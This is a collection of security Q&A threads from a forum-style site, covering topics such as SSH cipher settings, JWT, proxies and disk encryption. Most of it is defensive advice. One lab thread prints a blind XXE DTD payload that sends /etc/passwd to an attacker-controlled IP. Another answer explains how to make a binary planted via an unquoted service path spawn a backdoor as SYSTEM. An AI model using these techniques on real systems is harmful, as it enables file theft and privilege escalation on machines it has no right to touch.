Here's a dreadfully inelegant way of getting the coordinates.

According to RFC 5480 section 2.2 the definition of ECPoint is inside SEC1 (section 2.3.4).

And the essence of that section is simply:

remove 0x04 tag byte
take remaining bytes and

set left half as X
and right half as Y.

I've done this below with the fastecdsa Python module.

Grab X component

Ignore first byte. (Just a tag value.)

$ openssl ec -pubin -in facebook_pub.key -noout -text -conv_form compressed 2>/dev/null | grep '^    ' | sed 's/://g' | xargs echo | sed 's/ //g'
03a0f18cafa73988685b13560e1515b4a745ef1bc7e5853c2b04d4658a313122ea

Grab Y component

("Y" must be the rest of the string after the "X" component. I. e. after the "22ea" part.)

$ openssl ec -pubin -in facebook_pub.key -noout -text 2>/dev/null | grep '^    ' | sed 's/://g' | xargs echo | sed 's/ //g'

04a0f18cafa73988685b13560e1515b4a745ef1bc7e5853c2b04d4658a313122eaa392ed649dba6581e3b61276d8b30b45f1ff0a28149c4fdc73a9b3492da076d3

Install "fastecdsa" python package

$ time pip install fastecdsa
Collecting fastecdsa
  Downloading fastecdsa-1.6.1.tar.gz
Building wheels for collected packages: fastecdsa
  Running setup.py bdist_wheel for fastecdsa ... done
  Stored in directory: /home/User/.cache/pip/wheels/93/8a/d3/be7fc222c030383ac6313be85c602762daafc2cac8fd547e44
Successfully built fastecdsa
Installing collected packages: fastecdsa
Successfully installed fastecdsa-1.6.1

real    0m19.002s
user    0m4.909s
sys     0m4.102s

Use inside ipython

$ ipython

In [1]: from fastecdsa.point import Point

In [2]: from fastecdsa.point import P256

In [3]: x=0xa0f18cafa73988685b13560e1515b4a745ef1bc7e5853c2b04d4658a313122ea

In [4]: y=0xa392ed649dba6581e3b61276d8b30b45f1ff0a28149c4fdc73a9b3492da076d3

In [5]: Point(1,2, curve=P256)
---------------------------------------------------------------------------
ValueError                                Traceback (most recent call last)
<ipython-input-18-fb7bd27a246d> in <module>()
----> 1 Point(1,2, curve=P256)

/usr/lib/python2.7/site-packages/fastecdsa/point.pyc in __init__(self, x, y, curve)
     12     def __init__(self, x, y, curve=P256):
     13         if not curve.is_point_on_curve((x, y)):
---> 14             raise ValueError('(x, y) coordinates are not on curve <{}>'.format(curve.name))
     15         else:
     16             self.x = x

ValueError: (x, y) coordinates are not on curve <P256>

In [6]: p=Point(x, y, curve=P256)

In [7]: p.x
Out[7]: 72796836896024250540670287871159592541946330786250779466423542213376197337834L

In [8]: p.y
Out[8]: 73986592417019630365603572314878953642162012803095695018690968405918923912915L

In [9]: p.curve
Out[9]: <fastecdsa.curve.Curve instance at 0x6fffeb1b5a8>

As you can see above: fastecdsa will throw an error if you supply invalid arguments (such as "1, 2, curve=P256") to the "Point(...)" constructor.


Is reskinning work computer desktops a practical security measure? Recently, I opened a new checking account a national US bank. The branch of this bank was very modern, and they even had a wall of screens behind the teller's desk.

When I was meeting with an advisor to open an account, he turned his monitor around to show me something, and I noticed he was running Windows 2000 on his machine. I thought this was rather odd, considering that this was one of the largest banks.

So my question is:

Is it possible that those systems are actually running, say, Windows 7, and are just skinned as Windows 2000 systems in order to throw off attackers?
Or is it likely that these systems are actually running Windows 2000, which would seem to be a demonstration of poor security?

No, it is not a practical security measure.   I'm not going to speculate on the specific case you mentioned as I don't have all of the facts, but there are a couple of more generally relevant points.

First: Attackers do not determine which attacks might work based on the desktop chrome.  They're going to figure out what the OS actually is, by any number of mechanisms. In addition, if someone were to have such a wacky idea, it would make far more sense to to attempt to pretend that a machine running an older, more vulnerable OS was newer, rather than the reverse described.  Attempting to disguise Windows 7 machines as Windows 2000 by way of a desktop background would be not only useless, but uniquely and bizarrely useless.

Second:  Withholding information about an OS from attackers is generally recognized to be a good practice, but of very minor importance.  You'll see it regularly in pen-test results of web applications, for instance.  There will be findings, deemed to be of low importance, suggesting the removal of headers identifying the web server software, or OS, or version, or the web application framework.   They're findings because they can deter the very laziest or incompetent of attackers, but nobody would suggest that they would thwart a serious adversary from affecting a compromise, or even figuring out what the underlying technology really is.

So no, the case you described is most certainly not a security measure.


Help configuring Cisco router I have some network issues in my network due to misconfiguration of Cisco router and switches. Please give me some advice or solutions to fix these vulnerabilities and configuration issues.

Vulnerability Name: SSH CBC Mode Ciphers Enabled
Description: CBC Mode Ciphers are enabled on the SSH Server
Solution: Disable CBC Mode Ciphers and use CTR Mode Ciphers
Vulnerability Name: SSH Insecure HMAC Algorithms Enabled
Description: Insecure HMAC Algorithms are enabled
Solution: Disable any 96-bit HMAC Algorithms, Disable any MD5-based HMAC Algorithms.

EDIT NO LONGER ACCURATE REFER TO ANSWER BELOW

There is no way to enforce this on a Cisco router. The only thing you can do to harden your setup is to at least disable SSHv1 by running:

#ip ssh version 2

However this will still not disable CBC and 96-bit HMAC/MD5 algorithms. Cisco does not offer capabilities to fine tune your SSH server so deeply. The only thing you can do is force the a connection towards the server which does not use any of the above mentioned algorithms. Note that the client needs to do this and that it can't be forced to the client by the server.

Here you can see what options the SSH client on a Cisco router has available to initiate an SSH connection:

ssh [-v {1 | 2} |-c {aes128-ctr |aes192-ctr|aes256-ctr |aes128-cbc | 3des-cbc | aes192-cbc | aes256-cbc} |-l user-id | -l user-id:vrf-name number ip-address ip-address | -l user-id:rotary number ip-address | -m {hmac-md5 | hmac-md5-96 | hmac-sha1 | hmac-sha1-96} | -o numberofpasswordprompts n | -p port-num] {ip-addr | hostname} [command | -vrf]


What are the negative aspects of creating fake security footprints? My take on reducing the risk of being hacked on products and installation have often been to create false footprints.

From my own experience, the servers I've spent most time (and hate) on hacking have been those that have claimed to be something they are not.

For example faking services on certain ports that imitate a Windows 2008 server, while in fact the server is a completely different type.

Given of course that one takes all normal approaches to system security, first the traditional with code reviews, system hardening etc - then offensive security testing with penetration testers.

What are the downsides?

I specifically appreciate links to articles and sources on the topic.

Am I fooling myself that this has any effect? I know personally that I am triggered by the first sign of a specific system and would waste time. Most likely increasing (A) the chance of me giving up and trying another approach (or another server/service/target) and (B) the chance of discovery and back-tracking from the attacked target.

It's a lot of work. Not only that, but it's a lot of work that your (legitimate) users will never see or benefit from. Most people would be willing to trade off the nebulous risk of deterring a small subset of hackers (realize that APT hackers, in particular, wouldn't be dissuaded and might even find an extra way into your system if you do something wrong setting up your fake services) in exchange for developing real features that will attract real (paying) customers.

If you've convinced yourself that you're a real target, sure, set up some honeypots (at least then you can invest in measuring how many attempts are being made on your "misdirection servers"). Security is already expensive, and you're talking about adding extra cost, so make sure it's worth it.


Does using the same encryption algorithm multiple times make a difference? In TrueCrypt I noticed the option to encrypt a volume with multiple encryption algorithms i.e. AES-Twofish-Serpent. Would it be useful to encrypt something with the same algorithm multiple times? For example AES-AES-AES. I would guess if a flaw or backdoor in the algorithm was discovered this defense would be useless, but would it make brute force attacks harder?

EDIT: how is applying multiple iterations any different?

Yes, it makes a difference. It makes your system more risky.

In answering this question, I'm going to assume that you're implementing an AES-AES cascade using a sensible mode of operation (e.g. CBC or GCM) and with independent keys.

The benefit you seem to be proposing is that you could prevent brute-force attacks by using multiple layers. The problem is that, if an adversary has any chance of breaking a 128-bit key, then having to break three of them makes almost zero difference to them. You're talking about the difference between 2128 and 2129.58 operations. Considering that the limits of computation put the costs involved with cracking a 128-bit key somewhere in the region of 1/100th of all of the power ever produced by man, that little bit extra barely matters.

The only benefit that an AES-AES cascade would bring is that many classes of attack against block ciphers are made more difficult. For example, chosen plaintext attacks rely upon getting a system to encrypt attacker-selected plaintexts, and usually involve comparing the resulting ciphertexts. However, with AES-AES cascades, you can't possibly select the input to the second cipher.

There's a problem, though. Remember when I said I'd assume you'd made sane decisions? That's where things start to fall apart. By increasing the complexity of your system, you increase the number of security decisions you have to make, and increase the potential for security failures and bugs. Do you perform two sequential AES block transforms for each block process in CBC, or do you encrypt everything with AES-CBC and then encrypt it all again? Have you used two separate IVs? Are you selecting IVs independently? Are you selecting keys independently? How are you applying and checking authenticity? How are you going to safely exchange, store, or derive the keys and IVs in your protocol? Are all of your implementations strong against side-channel attacks such as DPA and timing attacks? That's a lot of questions to get right, and a lot of potential areas for failure.

Finally, I'd like to remind you of the purpose of cascades: to ensure that a weakness in one cipher doesn't result in a loss of confidentiality of data. By correctly implementing a cascade of, say, AES-Serpent, you ensure that both AES and Serpent need to be broken before the data is compromised.


Does it make sense to restrict the usage of Metasploit in Penetration testing exams ? In some PT exams (mainly Offensive Security's) they restrict the usage of Metasploit or any automated attacking tool and allow only for manually written\compiled codes from public exploit sites such as exploit-db.

Taking into account that many exploits are either too complicated for an OSCP's student to understand (such as kernel exploits )  and most of them requires some fixing before they work.

So is there a valid reasons behind that ?

Prohibiting automated vulnerabilities scanners makes sense to me (or at least i can understand the reason behind it )
But can't say the same on preventing the use of Metasploit for exploitation (students are allowed to use MSF handlers and payload generators )

A test is free to restrict the conditions of a test for their own reasons depending on the effect that they want to test.

Remember that the point is not to "get the right answer" but to teach and test understanding of the underlying concepts. It's like restricting the use of calculators when the test is about testing the student's ability to calculate based on their wits alone.

So, it is certainly valid to restrict the use of certain tools if your goal is to graduate someone who can understand how to modify and use exploits from exploit-db (even kernel ones) with confidence.


wpa_passphrase command encrpyting psk Does the wpa_passphrase command turn an ASCII string into hexadecimal and what is the benefit of doing so? Is the psk sent in the header of packets? Can it be easy to sniff if it's in a string format?

Thanks.

The PSK is not 'converted' to hexadecimal but if doing the calculation by hand it is often expressed that way to simplify the process.  As the manpage indicates,

  wpa_passphrase pre-computes PSK entries for network configuration blocks of a
  wpa_supplicant.conf file. An ASCII passphrase and SSID are used to
  generate a 256-bit PSK

This means, you provided the passphrase and the ssid, which are two parts of the calculated SSID.  The passphrase and SSID can be expressed as hexadecimal during the process if you want to think of it that way (its just a way of expressing the data, its not really a conversion) and they are used to compute a one way hash (using SHA) becoming the PSK, which is then used during the handshake (only after steps are taken to confirm the other side also knows the PSK in a similar one-way manner, part of the four way handshake).  It is never sent in the clear to the extent that observation will do anything other than allow you to confirm that you have successfully guessed the passphrase.

Edit: more info requested

The WPA/WPA2 process is pretty intricate, here is a good question/answer that goes into more specifics about key handling. In summary though, the passphrase/password is never sent in the clear or even in a reversibly encrypted form, it is turned into a "preshared key" by using the passphrase + SSID and then computing a (theoretically) one-way hash, known as the PSK, which is used during the handshake and even that isn't sent in the clear (because it would allow a replay attack) so it is only communicated between client and host via further encryption steps.


Why isn't MSWindows product code kept secure? Yesterday I have noticed MSWindows product code on KFC's machines is exposed to the public (photo below).

It might be a mistake but it made me think of something a friend of mine told me once, how he used to go to Internet cafes and copy the product key either from the back of the machine or use a software to retrieve it.

Why wouldn't it be protected even that it cost money?

That code is an OEM product code, which means that it's baked into the firmware somewhere. Copying the code won't allow you to install Windows on another machine, so there's no real need to secure it by removing the sticker.


Gmail account hacked - what was it used for? We use GMail for our business email, we are a small company. I do the mail administration for our domain, and I was recently alerted by an email from Google that a colleague's account had some suspicious logins and was suspended.

Looking at the login audit report for this account, I can see that there have been about 27 suspicious logins over the past approx. 3 months, the first being on July 28 2015.

He unknowingly continued to use the account throughout this period right up until Google suspended it yesterday. We changed the password and enabled 2-factor authentication (in fact we've made it company policy for all staff). We then followed Google's checklist for administrators:
https://support.google.com/a/answer/2984349?hl=en

I've been doing reverse lookups (ping -a) on the source IPs of the suspicious logins as recorded by GMail, and I'm getting a variety of rather concerning top-level domains returned e.g. .ru, .pl, .ly, .kg, .kz, .mx, .ar, .eg, .br, .tr.

They mostly appear to me to be residential ISP subscribers on dynamic IPs using DSL or similar.

He remembers having some temporary trouble receiving email around the time of the first suspicious logins, but we've noticed no other obvious suspicious activity in his email or any of his online services since then. He uses Outlook on a laptop to access GMail via POP3. We are not sure what vector was used at this stage. He did do some travel within South Africa around when it started, using hotel Wi-Fi, but he has never been to any of these other countries.

What I'd like to determine is:

Given the pattern of suspicious access, what was the likely mechanism? E.g. were the unauthorised logins from individual hackers who were sharing my colleague's logon credentials, or were the source IPs likely to have been users unaware that they had malware on their machine sending spam or similar?
Given that we are a software company that authors and administers websites, but has no reason to believe that any of our production hosting infrastructure has been compromised, what further action should we take, if any?

Anyone including himself could be connecting through a service such as TOR. Through such a service you can switch exit nodes at will giving you a new IP and country that IP is coming from. Considering that forget about what countries the connections come from. They mean nothing. It's more important to establish what has fully happened. Remember that having gmail access also means Drive access and such. Have you looked into all the services that could have been compromised through google? It could be a much larger picture then just gmail being compromised. One could lets say change a file you store on Drive with a compromised one, it gets synced to your computer, and you run it.


JWT vs. Client Certificates We have a transaction server that is connected to by different client applications. The requirement is to have a secure means of authentication for client applications to communicate with the transaction server. The two solutions being looked at are JWT and client certificates.

In your opinion what are the advantages and disadvantages of either option from a security and efficiency standpoint. I realize that this question is a bit generic and that's specifically because we want to get some more generalized ideas before moving into a specific solution considering these components are still under development.

Any advice from those who have used either technology would be appreciated!

For a bit of context, I have worked heavily with JWT token based authentication but have little experience with client certificates so my answer will weight biased (information and opinion-wise) to JWT.

JWT Token Pros:

Can be easily generated (or re-generated) and can include expiry dates/times to reduce damage due to a stolen JWT token
Can include "claims" in the payload to carry extra information, perhaps the role of the client device or literally any key-value pair you would want
Easy to transport as once encoded they are just a String
Vast majority of languages have libraries to do most the heavy lifting. See:  libraries page

JWT Token Cons:

You will generally require an authentication server or a module on your Transaction server to dispense these
Things can get very complicated or impossible depending on how your client needs to authenticate. As long as the user has login credentials its fine as these can be used to initially authenticate the client before sending the JWT token. Otherwise, you need some means to initially confirm the authenticity of the client

Client Certificates Pros:

Requires a single certificate to be installed (at configuration time? Just depends) once
Does not require any server-side code to create and distribute certificates the same way as JWT

Client Certificates Cons:

If a certificate is ever compromised, it can be used in replay style attacks for as long as it is valid (and not discovered to be compromised, otherwise it could be black-listed)
Requires a secure permanent storage point on the client device. Unlike JWT tokens that could safely be stored in memory and ultimately destroyed at the point of client shutdown or application being closed, the certificate would need to be persistently saved in a secure location. Depending on what exactly the client is, this can be very difficult or impossible

My opinion: JWT tokens are a secure, standardized method of client authentication and I would recommend it.


Is it worth using an http proxy? Sorry for my lack of terminology in the field, that's something I've little (or none any) practical knowledge about.
I've browsed similar questions on the security risks of using (web) proxies, but both the questions and the answers generally focus on the risks involved with the potentially malicious proxy operators (which are considered to be the free ones), and trustworthiness of using them, etc...
Now, I'm not, at the moment, concerned about how secure or trustworthy a free proxy server is for making online banking etc., rather I'm concerned about the following :
If someone uses a web-proxy service, to bypass an ISP DNS filtering, but if the web-proxy uses HTTP instead of HTTPS, and thus it's not completely encrypting the transferred data (voice, video, image, text etc.), so how safe s/he is from the ISP listening to what s/he is sending to or receiving from somewhere unknown to ISP..?
All I know is that, the proxy helps bypass ISP DNS filters, so that one can reach otherwise blocked web pages from such as youtube, facebook, tweeter. But what about the data? Can the ISP still detect that banned (such as politically banned newsfeeds) youtube videos, or similarly blacklisted facebook pages, or tweeter accounts, are transferring their data (posts, texts, images, videos) that the ISP (with the government help) is tracking?
For example, can the ISP still detect which kind of youtube video (banned or safe) is being transferred, despite no connection to youtube seems?

The common configuration of a HTTP proxy is to have a plain TCP connection to the proxy. This means HTTP only traffic will not be additionally encrypted, while HTTPS traffic stays encrypted (but not additionally encrypted). This provides a similar visibility to the ISP as without proxy, provided that the ISP uses deep traffic inspection (DPI) to analyze HTTP traffic. Given that the server name in most TLS handshakes (SNI extension) is not encrypted (i.e. no ESNI) this also means that the original target hosts can be seen from both HTTP and most HTTPS traffic, no matter if a HTTP proxy is used. Note that DPI is more expensive to employ than simple DNS based analysis and blocking though. This means that the ISP might not use DPI or might restrict DPI to some clients only, like to the client with suspiciously few DNS requests.
Some HTTP proxies though offer access by HTTPS instead of HTTP and this is supported by modern browsers. In this case all traffic between client and proxy will be encrypted, i.e. plain HTTP traffic and also HTTPS traffic (resulting in double encryption). Since this will also encrypt the original plain HTTP requests and original TLS handshakes, it will hide the original target host from deep packet inspection.


Central console antivirus for Linux computers in LAN or equivalent solution In our company, we need by policy AVs on every developers' Linux (Mint) computers.

Right now we have ClamAV running on them, daily scheduled scans and every developer manually sends the report log to the SecMan. Not ideal.

I'd like to know if a centralized AV console exists for Linux, that ideally is free, offers a central point for alerts, logging, etc, and we don't have/won't have Windows computers.

In case there aren't, what solutions do Linux-based LAN SysAdmins use? At least, I'd need scripts or setups that put every box's log into a central repository, mailbox (scp? sendmail?), even kibana, but I'm not happy opening that central box for "listening to incoming stuff", even when it's on our own LAN.

Not free, but Sophos Central supports Linux, providing Central cloud-based management of Linux, without using any Windows at all.


Setting the HTTP header X-Frame-Options DENY for static assets I am checking the security of my Django application through a security scanner and I wonder if it useful to set the X-Frame-Options DENY header on static assets like CSS, images or JS files?

I guess one may achieve to upload a HTML file disguised as something else (like an image) and still be served the same way, and then be able to execute JS on my domain (thus accessing some cookies). But it's not linked to being executed in an iframe so I can't see any attack vector this header would protect me from.

I already have the header set on the rest of my website (all the views handled by Django itself).

So after the little conversation for clarity in the comments on the opening question and finding out a bit more(like that you aren't allowing uploads to your server), then the answer is a simple No, it should not harm it. In fact in the simple case that a malicious person does get code onto your server some way, this could help it, however in that case I think you have a much larger problem to worry about.

Really it comes down to more of a question of "Do I want someone else having access to my static assets inside of a frame?", in which case the answer is usually a no.


Are the sha1 hashes used by common ssh configurations insecure? I got an automated PCI security test result that checked various server configurations. The automated test determined the server to be unsafe due to the use of sha1 algorithm in some elements of the ssh configuration.

The configuration can be seen when running ssh -vvv, so here's the relevant part of that output. I snipped out the other algorithms that are available on this particular server, but several are available.

debug2: KEX algorithms: ...snip...diffie-hellman-group14-sha1
debug2: MACs ctos: hmac-sha1...snip...

It's the use of:

diffie-hellman-group14-sha1 in the key exchange algorithms
hmac-sha1 in the MACs from client to server

I've searched this site a bit and I don't see much data about whether these algorithms are 1) in use 2) considered insecure for a PCI compliant site in 2019.

Rule of thumb: SHA1 is potentially insecure when used on relatively static data, e.g. code signing, digital signatures, file hashes.

This is reflected by the PCI FAQ:

What is the Council’s guidance on the use of SHA-1?

When a hash function is applied iteratively (e.g. HMAC, PBKDF2) it is substantially less affected by collisions than their underlying hash functions per se. Ref. HMAC (Wikipedia). HMAC-SHA1 (and HMAC-MD5) are still safe from a security perspective (in 2019).

Similarly, the dynamic nature of Diffie-Hellman means its weaknesses resides on the number of bits governing its primes rather than the hash function it employs. Elaborating on what ConsideredHarmful noted: diffie-hellman-group14-sha1 is safe because it utilizes a 2048-bit prime whereas diffie-hellman-group1-sha1 is not because it only uses 1024-bits.


Can I encrypt with GnuPG and decrypt with OpenSSL? I wonder why this does not work on Linux?

gpg --cipher-algo AES256 -c -o test.zip.enc test.zip
Enter passphrase:

openssl enc -AES-256-CBC -d -in test.zip.enc -out test.zip
enter aes-256-cbc decryption password:
bad magic number

To give a context, I have an application where I encrypt a file on Linux with GnuPG and I want Mac users to be able to decrypt it without need to install additional software (OpenSSL comes pre-installed on OS X).

OpenSSL implements the X.509 standard, while GnuPG implements OpenPGP. While both use mostly the same cryptographic algorithms with lots of overlap, both protocols have their own file formats and minor differences, especially in the mode of operation for symmetric encryption.

Both OpenSSL and GnuPG are available for pretty much all operating systems, while GnuPG is only shipped by default with most Linux distributions, but OpenSSL is readily available for pretty much all unixoid operating systems.

If you insist on using GnuPG, also have a look at GnuPG's gpgsm component which is an implementation of X.509 compatible to OpenSSL (but cannot use OpenPGP keys because of the different formats, thus requires an X.509 key).


How to know what personal information companies know about myself I've been learning about Cyber Security and how to protect myself online after reading some books on the subject and I want to know how much Information i've handed out to companies.

Depending on the applicable data privacy law in your country, you might have the right to request a company to send you all the personal information it collected about you. This usually works fine, though you have to send this request to each company you think is storing some data. Also, data privacy authorities often provide standard letter for this.

There are also some international legal frameworks for data protection, such as:

European Data Protection directive
Global Privacy Enforcement Network

The key point for those national or international frameworks is: The data subject has the right to be informed when his personal data is being processed.

Now, you will also find different situations where it's hard or impossible to obtain this information. This includes companies that don't comply with data privacy laws, or information that is stored without the knowledge of the company (this can happen when a company purchase a large data set for marketing purposes, but only use part of this data set and don't look exactly at what it contains).

You can also perform simple search-engine searches based on your personal information and see what comes up.


What program can Decrypt specific a Folder/Files during Windows Boot/Loading? (Windows) I've been looking into Encryption of my data for some time now; I've decided to move ahead with VeraCrypt for encryption all of my partitions (I have 2 disks in 1 laptop) except for the OS (C:) partition.

(Reason being, I don't want to risk the possible complications & potential data loss, eg. when trying to update Windows, there can be conflicts with VeraCrypt).

I would like however, to at least encrypt some portion(s) of my OS partition.
Specifically, the "C:\Users" is my priority at this time.

If I am able to encrypt the "C:\Users" directory, I imagine that I would need this to be decrypted during system boot or Windows loading screen? (or at least before user login?)
Otherwise the user data will be inaccessible to the system.

There are products such as AxCrypt, however, I'm not aware of it having any functionality to decrypt selected files/folders during system boot (please correct me if this is otherwise).

I would like to please know, are there any publicly available software that can accomplish what I'm seeking to do?

Or, is there any possible workaround otherwise (without doing full encryption of OS disk/partition)?

(Preferably an open source program, free or relatively inexpensive).)

(I currently have Windows 10 Home edition. I'm not interested in BitLocker or Windows 10 Pro at this time.)

Thank you.

Added Note:

I understand the risks of partial encryption (such as data leaks in swap/temporary files, etc...)
I'm not very paranoid about bits of my data possibly being discovered in those cases, I don't really have high-risk data that needs protecting, but still, I'd like some protection rather than none.

To be clear, I would like to be able to:

Encrypt the "C:\Users" directory.
Upon Windows Boot/Load, be offered the option to decrypt the  the "C:\Users" directory (which seems necessary before being able to load/login to user profiles).
After entering the correct password, the "C:\Users" directory will be decrypted, then Windows will continue to load/prepare user profiles for login.
I would like to avoid full disk/partition encryption.

I am unaware of a software, that would exactly work as you described it.

However I would strongly advise against your described procedure, as it might not give you as much security as you would probably expect. See here for examples. I'd therefore recommend heading for full disk encryption which can easily be done i.e. with Veracrypt.

Do you have any specific reasons, why you would like to avoid full disk encryption?

In the end, it depends on your attacker model, which way to go. I guess there might be less software out there with your described procedure, as it won't defend well against common attacker models.


Exploiting unquoted service path not working I found a service on my Windows 10 computer which uses an unquoted service path. As the path contains  and are not quoted, Windows look for the .exe file the following way:

C:\Program.exe

C:\Program Files (x86)\Donald.exe

C:\Program Files (x86)\Donald Duck\Donald_Duck.exe <original path>

My current problem is that if I put another exe file in C:\Program Files (x86)\Donald.exe which I want the service to execute, I get this error message:

"A timeout (30000 milliseconds) was reached while waiting for a transaction response from the Donald Duck service".

The service which starts this process during startup is NT AUTHORITY\SYSTEM and has full access to both files. As I get this error I'm pretty sure the file is in the correct path but I don't know how to further exploit this vulnerability as the Event Viewer doesn't give me any more detailed information.

Could there be any form of hashcheck before the file execution?

Your service should always return back  to windows service manger(SIM) within a proper amount of time... if your .exe file is a back door obviously it wont return to windows service manager... You can make your donald.exe to start another process and return safely to windows.. the other proc can be your backdoor.Check createprocess example in msn for this.


ssh always too many authentication failures No matter on which server I try to connect via password login, I always get the error message

 Too many authentication failures for

If I have exchanged the ssh-keys, I can login without password as before, also if I rename my user ~/.ssh folder, I get to the password prompt as suspected.

What can I have wrong in my .ssh folder?

If I run ssh-add -l this list is > 5

So I have more than 5 keys in my ssh-agent and it seem to insist on looping through all my keys in my agent (with none of them fitting, cause I didnt create a key for this server) before reaching max_tries.

I also read this: SSH aborts with too many authentication failures

But I couldn't find the solution there, (maybe because of lack of understanding).

The only way to login for me is to call ssh with the option PreferredAuthentications=password:

ssh -o PreferredAuthentications=password host.example.org

But that is just a workaround. How can I fix this?

Add this in your ~/.ssh/config:

Host *
   IdentitiesOnly yes

source: How do I configure SSH so it dosen't try all the identity files automatically?


Securing a process from local users We require a method to run a process on a users machine whereby a local user cannot kill this process (from task manager or otherwise). Is there a way to make this application a system process or make it un-killable.

I have gone through all the question on SO and all of them tell that application can always be killed by user in some way.
But in our case, its different since its administrator himself who want to prevent employees (other users) from terminating.
Please help and sorry if I am asking something very basic. Thanks.

As long as the user is not a local administrator on the machine they should not have permission to kill any processes run as other users (including domain administrators).

However unless you have an unusual physical setup the user can always kill the process with the power button or physically removing the power supply.

I would suggest additionally your process reports back success on completion. Any machines not confirming success could have the process redeployed and on multiple failures an engineer sent out.


Can portable programs be exploited to steal information? I work with sensitive information and there are clearly controls on what can and can't be made public.  While I am not an IT security person, I believe I have found a vulnerability.  When I was in school and using the computer lab, one of the things I did was download portable programs onto a usb drive so that I could use the programs I wanted without worrying about the administrative privledges.  I am confident that these programs could be downloaded and operated on my computer here at work.

Don't these programs pose a risk?  Assuming such a program can be installed and operated on a computer, couldn't an insider steal or manipulate information at will?  Do such programs inherently cause triggers that programs installed the "normal" way don't?

A "portable" program as you described it is simply a program that does not require any installation.  A great many programs could be portable that are not marked as such.  They don't pose any greater security risk than any other program.  In fact, because they don't require installation, they are generally safer from a stability standpoint since they don't touch system settings.

They don't get any administrative access or anything without going through the same requirements as any other program though, so they are not a particular concern.


What is the definition for different access attributes in object access auditing? Though there is documentation available about configuring Object Access auditing, there is no place where I have found any documents explaining the different attributes in Object Access Auditing. Can someone explain or show some reference for the different access attributes in Object Access, please?

Also, in the logs, event ID 4663 the Accesses fields gives more different values.

All attributes can be seen here under "Permissions for files and folders" on Microsoft technet documentation:

Permissions for files and folders

The only attribute that is not there is the Full control which upon selecting will check all the rest of the attributes which is the detention of full control.

  Also, in the logs, event ID 4663 the Accesses fields gives more different values.

These are the names of the attributes in the registry.


What should I do about Gmail ad asking me for password? I just got a pop-up after having logged on to Gmail. It said it was from https://googleads.g.doubleclick.net and asked for username and password.

What should I do about this? Has anyone else seen this?

I did press cancel, nothing happened. The only add-on I have installed is HttpRequester.

This seems unlikely but not unthinkable. From the information in your question and the supplied screenshot, it seems that the Google ad domain was or currently is compromised.

What to do now?

Firstly, make sure that you have antivirus and anti-spyware software installed and that this software (including your operating system) is up-to-date. It is a good idea to let your antivirus and anti-spyware software run a full system scan.

Secondly, even if you didn't fill in your credentials, I'd recommend to change your password as soon as possible with an ad blocker (like Adblock Plus, Adblock, uBlock Origin or similar) installed and enabled in your browser. It is recommended to enable two-factor authentication on your Google account (if you didn't do that already) to prevent (future) leaked credentials from being misused.

Thirdly, contact Google about this and supply them with details like your IP, URL, screenshots, date/time and as much information as you have. You can contact Google about this at "goo.gl/vulnz" or check https://www.google.com/about/appsecurity

Additional information

Alternative explanation

Another explanation for this could be (although this would be unlikely and amateurish for a company like Google) that the developers overlooked a mistake in the development, testing and releasing process.

Also (as mentioned in different comments) this result could possibly be caused by some kind of man-in-the-middle attack (like a hacked proxy) or a malicious browser extension.

Why change your password if you didn't fill in your credentials?

The site showed an unusual but visible "basic auth" prompt from an external domain. Assuming that the domain was compromised (at least until it is proven not) the attackers could as well include other code that was not directly visible. Maybe persistent in cache? Maybe some kind of malware? Since we can't exclude that possibilities also, and since a password change or virus/malware scan won't hurt anyone, these are extra measures, just to be sure.

Is doubleclick.net really owned by Google?

Yes! As described in this Wikipedia article and as shown in the WHOIS information of doubleclick.net. Registrant Organization: Google Inc.


Weird Google Redirect Bug? So I was recently show by a friend something that is happening to a real estate website. It seems that when their website is accessed from a regular URL request in browser it is fine however when requested from the google search engines its redirected to a different website. One for selling Viagra (Obviously the hack/joke). I tried researching on how this was accomplished but am a little held up. I tracked the requests that I was receiving from google but everything seems to point and look as if they should just output the website that was requested. I'm wondering if this is server side or if I am missing something.

Website Url - http://www.jandjip.com

Google Url redirect - https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwiDoMqQnKHhAhXlmeAKHWpKD-IQFjAAegQICBAD&url=http%3A%2F%2Fjandjip.com%2F&usg=AOvVaw1UmccVjg4yMCM39WRDmiuZ

I understand that google uses their redirects to track data but is there some way someone could have tricked or poisoned the google search result to do this?

This is no bug in Google but a deliberate attempt of the web site to misuse Google for spamming the user. If you request the URL https://www.google.com/url?... Google will redirect to the site and this is visible in the request send by the browser:

GET / HTTP/1.1
Host: jandjip.com
...
Referer: https://www.google.com/
...

Some server-side code will then analyze this Referer and reply to redirect the user to a different URL (original response slightly edited for better readability):

<meta http-equiv="refresh"
   content="0; url=https://alltabsstoretext.com/search.html?key=viagra&t=ed1_conc"
>

If you instead access the site directly the Referer will not point to Google and thus the redirect will not happen.

It is not fully clear if this is a deliberate attempt of the site itself or if the site was hacked. But given that this seem to be some investment property site created with WordPress and that WordPress is a common target of successful attacks it is likely that the site is hacked. In fact, this is what sucuri suggests.


Blind XXE - Exfiltration Data via OOB My lab

Kali Linux:192.168.171.134
bWApp Server: http://192.168.171.131

I want to do an exfiltration data via HTTP on this Blind XXE.
I'll use the Portswigger Payload.
This is the External.DTD:

   <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://192.168.171.134/?x=%file;'>">
   %eval;
   %exfiltrate;

This is following attempt to exploit it:

As you can see the Vulnerable Web Application does an HTTP Request to recall the evil.DTD, but when it does the HTTP GET with /etc/passwd the GET parameter is empty, why?
I also try to modified the /etc/passwd with /etc/hostname to avoid the possible <> problems inside that file, but it doesn't work.

Well, there could be many reasons (sorted by order of probability):

The XML parser is running inside Docker: If it's running inside docker, there's no /etc/passwd file nor /etc/hostname file to leak.
The XML parser does not have enough privileges to read those files.
The files you're trying to leak are in a different encoding than expected (Expected UTF-8, got UTF-16).
The files you're trying to leak is corrupted.
The files you're trying to leak is empty.

For all of the previous cases: instead of returning a nasty error, it returns an empty string, hence why the x parameter in the GET request is empty.


Online backup : how could encryption and de-duplication be compatible? A "soon to enter beta" online backup service, Bitcasa, claims to have both de-duplication (you don't backup something already in the cloud) and client side encryption.

http://techcrunch.com/2011/09/12/with-bitcasa-the-entire-cloud-is-your-hard-drive-for-only-10-per-month/

A patent search yields nothing with their company name but the patents may well be in the pipeline and not granted yet.

I find the claim pretty dubious with the level of information I have now, anyone knows more about how they claim to achieve that? Had the founders of the company not had a serious business background (Verisign, Mastercard...) I would have classified the product as snake oil right away but maybe there is more to it.

